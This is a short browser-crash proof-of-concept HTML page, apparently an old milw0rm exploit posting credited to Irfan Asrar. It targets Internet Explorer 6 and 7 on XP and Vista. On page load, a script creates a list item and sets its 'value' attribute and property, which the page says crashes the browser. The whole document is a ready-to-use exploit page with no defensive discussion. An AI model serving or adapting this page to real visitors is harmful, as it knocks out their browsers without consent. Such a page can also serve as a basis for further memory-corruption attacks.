Vulmon
<html>
<head>
<title> Irfan Asrar</title>
</head>
<body onload="c()">
Set Attribute Crash : Tested with IE7 Vista
IE6 XP2
IE6 XP3
<script type="text/javascript">
function c() {
var li = document.createElement("li");
li.setAttribute("value", "1");
li.value = "1";
}
</script>
</body>
</html>
# milw0rm.com [2009-08-18]